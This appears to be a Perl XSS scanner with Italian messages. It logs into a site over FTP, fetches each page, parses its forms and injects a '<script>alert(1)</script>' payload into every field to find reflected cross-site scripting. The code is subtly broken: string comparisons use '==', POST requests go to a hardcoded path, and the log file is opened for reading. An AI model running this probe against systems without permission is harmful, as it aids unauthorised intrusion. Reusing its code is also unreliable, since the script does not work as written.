Xss scanner

[Skream Example]

#!/usr/bin/perl
use IO::Socket;
use Net::FTP;
$host = shift or die "Usage: perl $0 <host> <username> <password> [<log file>]\n";
$user = shift or die "Usage: perl $0 <host> <username> <password> [<log file>]\n";
$pass = shift or die "Usage: perl $0 <host> <username> <password> [<log file>]\n";
$log_file = shift;
$ftp=Net::FTP->new($host) or die "Impossibile connettersi a $host.\n";
$ftp->login ($user, $pass) or die "Errore durante il login.\n";
@file = $ftp->ls ();
$cont4 = 0;
$log = "Scansione sito: $host\n";
while ($cont4 < scalar (@file)){
	my $sock = new IO::Socket::INET (
	PeerHost => $host,
	PeerPort => "80",
	Proto => "tcp",
	) or die "Impossibile connettersi a $host: $!\n";
	$page = "";
	print $sock "get /@file[$cont4]\n\n";
	while (<$sock>){
	        $page .= $_;
	}
	my (@variabili, @var_method);
	$cont2 = 0;
	$cont = 0;
	while ($cont <= length ($page)){
		if ($page =~ /<form.+?method.+?('|")(.+?)("|')/){
			$method = $2;
			$page =~ /<form.+?>(.+?)<\/form>/;
			$cont5 = 0;
			$in_form = $1;
			while ($cont5 <= length ($in_form)){
				if ($in_form =~ /<(input|textarea).+?name.+?('|")(.+?)("|')/){
					@variabili [$cont2] = $3;
					@var_method [$cont2] = $method;
					$in_form =~ s/<(input|textarea).+?name.+?('|")(.+?)("|')/done/;
				}
				$cont5++;
			}
			$page =~ s/<form.+?method.+?('|")(.+?)("|')/done/;
		}
		$cont++;
	}
	close ($sock);
	$cont3 = 0;
	while ($cont3 < scalar (@variabili)){
	        my $sock = new IO::Socket::INET(
	        PeerHost => $host,
	        PeerPort => "80",
		Proto => "tcp",
	        ) or die "Impossibile connettersi a $host.\n";
		if (@var_method[$cont3] == "GET"){
	        	print $sock "get /@file[$cont4]?@variabili[$cont3]=<script>alert(1)</script>\n\n";
		}
		elsif (@var_method[$cont3] == "POST"){	
			$var = "@variabili[$cont3]=<script>alert(1)</script>";
			$to_send = "POST /pagina\n".
		        "Host: $host\n".
     	        	 "Content-Type: application/x-www-form-urlencoded\n".
		        "Content-Length: ".length($var)."\n\n".
	        	$var."\n\n"; 
			print $sock $to_send;
		}
		else {
			die "@var_method[$cont3]: Metodo sconosciuto.\n";
		}
        	$page2 = "";
	        while (<$sock>){
	                $page2 .= $_;
	        }
	        if ($page2 =~ /<script>alert\(1\)<\/script>/){
	                print "/@file[$cont4]: @variabili[$cont3] vulnerabile.\n";
			$log .= "\n/@file[$cont4]: @variabili[$cont3] vulnerabile.";
	        }
	        $cont3++;
	        close ($sock);
	}
	$cont4++;
}
if ($log_file != ""){
	open (LOG, $log_file) or die "Errore durante l'apertura del file: $!\n";
	print LOG $log;
	close ($log);
}